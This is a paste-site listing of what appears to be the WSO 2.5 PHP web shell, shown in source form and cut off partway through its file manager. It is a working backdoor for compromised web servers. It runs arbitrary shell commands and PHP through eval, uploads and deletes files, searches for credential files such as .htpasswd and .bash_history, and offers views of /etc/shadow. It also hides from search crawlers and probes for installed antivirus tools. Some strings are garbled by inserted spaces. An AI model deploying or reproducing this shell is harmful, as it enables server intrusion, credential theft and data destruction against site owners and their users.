· 10 years ago · Feb 02, 2016, 04:21 PM
1<?php $auth_pass = "";
2$color = "#df5";
3$default_action = 'FilesMan';
4$default_use_ajax = true;
5$default_charset = 'Windows-1251';
6if (!empty($_SERVER['HTTP_USER_AGENT'])) {
7 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
8 if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
9 header('HTTP/1.0 404 Not Found');
10 exit;
11 }
12}
13@ini_set('error_log', NULL);
14@ini_set('log_errors', 0);
15@ini_set('max_execution_time', 0);
16@set_time_limit(0);
17@set_magic_quotes_runtime(0);
18@define('WSO_VERSION', '2.5');
19if (get_magic_quotes_gpc()) {
20 function WSOstripslashes($array) {
21 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
22 }
23 $_POST = WSOstripslashes($_POST);
24 $_COOKIE = WSOstripslashes($_COOKIE);
25}
26function wsoLogin() {
27 die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
28}
29function WSOsetcookie($k, $v) {
30 $_COOKIE[$k] = $v;
31 setcookie($k, $v);
32}
33if (!empty($auth_pass)) {
34 if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
35 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
36}
37if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
38else $os = 'nix';
39$safe_mode = @ini_get('safe_mode');
40if (!$safe_mode) error_reporting(0);
41$disable_functions = @ini_get('disable_functions');
42$home_cwd = @getcwd();
43if (isset($_POST['c'])) @chdir($_POST['c']);
44$cwd = @getcwd();
45if ($os == 'win') {
46 $home_cwd = str_replace("\", " / ", $home_cwd);
47$cwd = str_replace("\", " / ", $cwd);
48}
49if($cwd[strlen($cwd) - 1] != '/')
50$cwd .= '/';
51if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
52 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
53if($os == 'win')
54$aliases = array(
55"ListDirectory" => "dir",
56 "Findindex . phpincurrentdir" => "dir / s / w / bindex . php",
57 "Find * config * . phpincurrentdir" => "dir / s / w / b * config * . php",
58 "Showactiveconnections" => "netstat - an",
59 "Showrunningservices" => "netstart",
60 "Useraccounts" => "netuser",
61 "Showcomputers" => "netview",
62"ARPTable" => "arp - a",
63"IPConfiguration" => "ipconfig / all"
64);
65else
66$aliases = array(
67 "Listdir" => "ls - lha",
68"listfileattributesonaLinuxsecondextendedfilesystem" => "lsattr - va",
69 "showopenedports" => "netstat - an | grep - ilisten",
70 "processstatus" => "psaux",
71"Find" => "",
72 "findallsuidfiles" => "find / -typef - perm - 04000 - ls",
73 "findsuidfilesincurrentdir" => "find . -typef - perm - 04000 - ls",
74 "findallsgidfiles" => "find / -typef - perm - 02000 - ls",
75 "findsgidfilesincurrentdir" => "find . -typef - perm - 02000 - ls",
76 "findconfig . inc . phpfiles" => "find / -typef - nameconfig . inc . php",
77 "findconfig * files" => "find / -typef - name\"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
78 function wsoHeader() {
79 if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
80 global $color;
81 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
82<style>
83body{background-color:#444;color:#e1e1e1;}
84body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
85table.info{ color:#fff;background-color:#222; }
86span,h1,a{ color: $color !important; }
87span{ font-weight: bolder; }
88h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
89div.content{ padding: 5px;margin-left:5px;background-color:#333; }
90a{ text-decoration:none; }
91a:hover{ text-decoration:underline; }
92.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
93.bigarea{ width:100%;height:300px; }
94input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
95form{ margin:0px; }
96#toolsTbl{ text-align:center; }
97.toolsInp{ width: 300px }
98.main th{text-align:left;background-color:#5e5e5e;}
99.main tr:hover{background-color:#5e5e5e}
100.l1{background-color:#444}
101.l2{background-color:#333}
102pre{font-family:Courier,Monospace;}
103</style>
104<script>
105 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
106 var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
107 var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
108 var p1_ = '" . ((strpos(@$_POST['p1'], "
109") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
110 var p2_ = '" . ((strpos(@$_POST['p2'], "
111") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
112 var p3_ = '" . ((strpos(@$_POST['p3'], "
113") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
114 var d = document;
115function set(a,c,p1,p2,p3,charset) {
116if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
117if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
118if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
119if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
120if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
121if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
122}
123function g(a,c,p1,p2,p3,charset) {
124set(a,c,p1,p2,p3,charset);
125d.mf.submit();
126}
127function a(a,c,p1,p2,p3,charset) {
128set(a,c,p1,p2,p3,charset);
129var params = 'ajax=true';
130for(i=0;i<d.mf.elements.length;i++)
131params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
132sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
133}
134function sr(url, params) {
135if (window.XMLHttpRequest)
136req = new XMLHttpRequest();
137else if (window.ActiveXObject)
138req = new ActiveXObject('Microsoft.XMLHTTP');
139 if (req) {
140 req.onreadystatechange = processReqChange;
141 req.open('POST', url, true);
142 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
143 req.send(params);
144 }
145}
146function processReqChange() {
147if( (req.readyState == 4) )
148if(req.status == 200) {
149var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
150var arr=reg.exec(req.responseText);
151eval(arr[2].substr(0, arr[1]));
152} else alert('Request error!');
153}
154</script>
155<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
156<form method=post name=mf style='display:none;'>
157<input type=hidden name=a>
158<input type=hidden name=c>
159<input type=hidden name=p1>
160<input type=hidden name=p2>
161<input type=hidden name=p3>
162<input type=hidden name=charset>
163</form>";
164 $freeSpace = @diskfreespace($GLOBALS['cwd']);
165 $totalSpace = @disk_total_space($GLOBALS['cwd']);
166 $totalSpace = $totalSpace ? $totalSpace : 1;
167 $release = @php_uname('r');
168 $kernel = @php_uname('s');
169 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
170 if (strpos('Linux', $kernel) !== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
171 else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
172 if (!function_exists('posix_getegid')) {
173 $user = @get_current_user();
174 $uid = @getmyuid();
175 $gid = @getmygid();
176 $group = "?";
177 } else {
178 $uid = @posix_getpwuid(posix_geteuid());
179 $gid = @posix_getgrgid(posix_getegid());
180 $user = $uid['name'];
181 $uid = $uid['uid'];
182 $group = $gid['name'];
183 $gid = $gid['gid'];
184 }
185 $cwd_links = '';
186 $path = explode("/", $GLOBALS['cwd']);
187 $n = count($path);
188 for ($i = 0;$i < $n - 1;$i++) {
189 $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
190 for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
191 $cwd_links.= "\")'>" . $path[$i] . "/</a>";
192 }
193 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
194 $opt_charsets = '';
195 foreach ($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
196 $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
197 if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
198 $m['Self remove'] = 'SelfRemove';
199 $menu = '';
200 foreach ($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
201 $drives = "";
202 if ($GLOBALS['os'] == 'win') {
203 foreach (range('c', 'z') as $drive) if (is_dir($drive . ':\'))
204$drives .= ' < ahref = "#"onclick = "g(\'FilesMan\',\''.$drive.':/\')" > ['.$drive.'] < / a > ';
205}
206echo ' < tableclass = infocellpadding = 3cellspacing = 0width = 100 % > < tr > < tdwidth = 1 > < span > Uname: < br > User: < br > Php: < br > Hdd: < br > Cwd:
207 ' . ($GLOBALS['os'] == 'win'?' < br > Drives:
208 ':'') . ' < / span > < / td > '
209 . ' < td > < nobr > ' . substr(@php_uname(), 0, 120) . ' < ahref = "' . $explink . '"target = _blank > [exploit - db . com] < / a > < / nobr > < br > ' . $uid . '(' . $user . ') < span > Group: < / span > ' . $gid . '(' . $group . ') < br > ' . @phpversion() . ' < span > Safemode: < / span > ' . ($GLOBALS['safe_mode']?' < fontcolor = red > ON < / font > ':' < fontcolor = green > < b > OFF < / b > < / font > ')
210 . ' < ahref = # onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
211 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
212 }
213 function wsoFooter() {
214 $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
215 echo "
216</div>
217<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
218<tr>
219<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
220<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
221</tr><tr>
222<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
223<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
224</tr><tr>
225<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
226<td><form method='post' ENCTYPE='multipart/form-data'>
227<input type=hidden name=a value='FilesMAn'>
228<input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
229<input type=hidden name=p1 value='uploadFile'>
230<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
231<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
232</tr></table></div></body></html>";
233 }
234 if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
235 function posix_getpwuid($p) {
236 return false;
237 }
238 }
239 if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
240 function posix_getgrgid($p) {
241 return false;
242 }
243 }
244 function wsoEx($in) {
245 $out = '';
246 if (function_exists('exec')) {
247 @exec($in, $out);
248 $out = @join("
249", $out);
250 } elseif (function_exists('passthru')) {
251 ob_start();
252 @passthru($in);
253 $out = ob_get_clean();
254 } elseif (function_exists('system')) {
255 ob_start();
256 @system($in);
257 $out = ob_get_clean();
258 } elseif (function_exists('shell_exec')) {
259 $out = shell_exec($in);
260 } elseif (is_resource($f = @popen($in, "r"))) {
261 $out = "";
262 while (!@feof($f)) $out.= fread($f, 1024);
263 pclose($f);
264 }
265 return $out;
266 }
267 function wsoViewSize($s) {
268 if (is_int($s)) $s = sprintf("%u", $s);
269 if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
270 elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
271 elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
272 else return $s . ' B';
273 }
274 function wsoPerms($p) {
275 if (($p & 0xC000) == 0xC000) $i = 's';
276 elseif (($p & 0xA000) == 0xA000) $i = 'l';
277 elseif (($p & 0x8000) == 0x8000) $i = '-';
278 elseif (($p & 0x6000) == 0x6000) $i = 'b';
279 elseif (($p & 0x4000) == 0x4000) $i = 'd';
280 elseif (($p & 0x2000) == 0x2000) $i = 'c';
281 elseif (($p & 0x1000) == 0x1000) $i = 'p';
282 else $i = 'u';
283 $i.= (($p & 0x0100) ? 'r' : '-');
284 $i.= (($p & 0x0080) ? 'w' : '-');
285 $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
286 $i.= (($p & 0x0020) ? 'r' : '-');
287 $i.= (($p & 0x0010) ? 'w' : '-');
288 $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
289 $i.= (($p & 0x0004) ? 'r' : '-');
290 $i.= (($p & 0x0002) ? 'w' : '-');
291 $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
292 return $i;
293 }
294 function wsoPermsColor($f) {
295 if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
296 elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
297 else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
298 }
299 function wsoScandir($dir) {
300 if (function_exists("scandir")) {
301 return scandir($dir);
302 } else {
303 $dh = opendir($dir);
304 while (false !== ($filename = readdir($dh))) $files[] = $filename;
305 return $files;
306 }
307 }
308 function wsoWhich($p) {
309 $path = wsoEx('which ' . $p);
310 if (!empty($path)) return $path;
311 return false;
312 }
313 function actionSecInfo() {
314 wsoHeader();
315 echo '<h1>Server security information</h1><div class=content>';
316 function wsoSecParam($n, $v) {
317 $v = trim($v);
318 if ($v) {
319 echo '<span>' . $n . ': </span>';
320 if (strpos($v, "
321") === false) echo $v . '<br>';
322 else echo '<pre class=ml1>' . $v . '</pre>';
323 }
324 }
325 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
326 if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
327 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
328 wsoSecParam('Open base dir', @ini_get('open_basedir'));
329 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
330 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
331 wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
332 $temp = array();
333 if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
334 if (function_exists('mssql_connect')) $temp[] = "MSSQL";
335 if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
336 if (function_exists('oci_connect')) $temp[] = "Oracle";
337 wsoSecParam('Supported databases', implode(', ', $temp));
338 echo '<br>';
339 if ($GLOBALS['os'] == 'nix') {
340 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
341 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
342 wsoSecParam('OS version', @file_get_contents('/proc/version'));
343 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
344 if (!$GLOBALS['safe_mode']) {
345 $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
346 $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
347 $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
348 echo '<br>';
349 $temp = array();
350 foreach ($userful as $item) if (wsoWhich($item)) $temp[] = $item;
351 wsoSecParam('Userful', implode(', ', $temp));
352 $temp = array();
353 foreach ($danger as $item) if (wsoWhich($item)) $temp[] = $item;
354 wsoSecParam('Danger', implode(', ', $temp));
355 $temp = array();
356 foreach ($downloaders as $item) if (wsoWhich($item)) $temp[] = $item;
357 wsoSecParam('Downloaders', implode(', ', $temp));
358 echo '<br/>';
359 wsoSecParam('HDD space', wsoEx('df -h'));
360 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
361 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
362 if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
363 $temp = "";
364 for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
365 $uid = @posix_getpwuid($_POST['p2']);
366 if ($uid) $temp.= join(':', $uid) . "
367";
368 }
369 echo '<br/>';
370 wsoSecParam('Users', $temp);
371 }
372 }
373 } else {
374 wsoSecParam('OS Version', wsoEx('ver'));
375 wsoSecParam('Account Settings', wsoEx('net accounts'));
376 wsoSecParam('User Accounts', wsoEx('net user'));
377 }
378 echo '</div>';
379 wsoFooter();
380 }
381 function actionPhp() {
382 if (isset($_POST['ajax'])) {
383 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
384 ob_start();
385 eval($_POST['p1']);
386 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
387
388 \'") . "';
389";
390 echo strlen($temp), "
391", $temp;
392 exit;
393 }
394 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
395 wsoHeader();
396 if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
397 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
398 ob_start();
399 phpinfo();
400 $tmp = ob_get_clean();
401 $tmp = preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '!td, th {(.*)}!msiU', '!<img[^>]+>!msiU',), array('', '.e, .v, .h, .h th {$1}', ''), $tmp);
402 echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
403 }
404 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
405 echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
406 if (!empty($_POST['p1'])) {
407 ob_start();
408 eval($_POST['p1']);
409 echo htmlspecialchars(ob_get_clean());
410 }
411 echo '</pre></div>';
412 wsoFooter();
413 }
414 function actionFilesMan() {
415 if (!empty($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']);
416 if (!empty($_POST['p1'])) {
417 switch ($_POST['p1']) {
418 case 'uploadFile':
419 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
420 break;
421 case 'mkdir':
422 if (!@mkdir($_POST['p2'])) echo "Can't create new dir";
423 break;
424 case 'delete':
425 function deleteDir($path) {
426 $path = (substr($path, -1) == '/') ? $path : $path . '/';
427 $dh = opendir($path);
428 while (($item = readdir($dh)) !== false) {
429 $item = $path . $item;
430 if ((basename($item) == "..") || (basename($item) == ".")) continue;
431 $type = filetype($item);
432 if ($type == "dir") deleteDir($item);
433 else @unlink($item);
434 }
435 closedir($dh);
436 @rmdir($path);
437 }
438 if (is_array(@$_POST['f'])) foreach ($_POST['f'] as $f) {
439 if ($f == '..') continue;
440 $f = urldecode($f);
441 if (is_dir($f)) deleteDir($f);
442 else @unlink($f);
443 }
444 break;
445 case 'paste':
446 if ($_COOKIE['act'] == 'copy') {
447 function copy_paste($c, $s, $d) {
448 if (is_dir($c . $s)) {
449 mkdir($d . $s);
450 $h = @opendir($c . $s);
451 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
452 } elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
453 }
454 foreach ($_COOKIE['f'] as $f) copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
455 } elseif ($_COOKIE['act'] == 'move') {
456 function move_paste($c, $s, $d) {
457 if (is_dir($c . $s)) {
458 mkdir($d . $s);
459 $h = @opendir($c . $s);
460 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
461 } elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
462 }
463 foreach ($_COOKIE['f'] as $f) @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
464 } elseif ($_COOKIE['act'] == 'zip') {
465 if (class_exists('ZipArchive')) {
466 $zip = new ZipArchive();
467 if ($zip->open($_POST['p2'], 1)) {
468 chdir($_COOKIE['c']);
469 foreach ($_COOKIE['f'] as $f) {
470 if ($f == '..') continue;
471 if (@is_file($_COOKIE['c'] . $f)) $zip->addFile($_COOKIE['c'] . $f, $f);
472 elseif (@is_dir($_COOKIE['c'] . $f)) {
473 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
474 foreach ($iterator as $key => $value) {
475 $zip->addFile(realpath($key), $key);
476 }
477 }
478 }
479 chdir($GLOBALS['cwd']);
480 $zip->close();
481 }
482 }
483 } elseif ($_COOKIE['act'] == 'unzip') {
484 if (class_exists('ZipArchive')) {
485 $zip = new ZipArchive();
486 foreach ($_COOKIE['f'] as $f) {
487 if ($zip->open($_COOKIE['c'] . $f)) {
488 $zip->extractTo($GLOBALS['cwd']);
489 $zip->close();
490 }
491 }
492 }
493 } elseif ($_COOKIE['act'] == 'tar') {
494 chdir($_COOKIE['c']);
495 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
496 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
497 chdir($GLOBALS['cwd']);
498 }
499 unset($_COOKIE['f']);
500 setcookie('f', '', time() - 3600);
501 break;
502 default:
503 if (!empty($_POST['p1'])) {
504 WSOsetcookie('act', $_POST['p1']);
505 WSOsetcookie('f', serialize(@$_POST['f']));
506 WSOsetcookie('c', @$_POST['c']);
507 }
508 break;
509 }
510 }
511 wsoHeader();
512 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
513 $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
514 if ($dirContent === false) {
515 echo 'Can\'t open this folder!';
516 wsoFooter();
517 return;
518 }
519 global $sort;
520 $sort = array('name', 1);
521 if (!empty($_POST['p1'])) {
522 if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]);
523 }
524 echo "<script>
525function sa() {
526for(i=0;i<d.files.elements.length;i++)
527if(d.files.elements[i].type == 'checkbox')
528d.files.elements[i].checked = d.files.elements[0].checked;
529}
530</script>
531<table width='100%' class='main' cellspacing='0' cellpadding='2'>
532<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
533 $dirs = $files = array();
534 $n = count($dirContent);
535 for ($i = 0;$i < $n;$i++) {
536 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
537 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
538 $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
539 if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file'));
540 elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
541 elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'dir'));
542 }
543 $GLOBALS['sort'] = $sort;
544 function wsoCmp($a, $b) {
545 if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
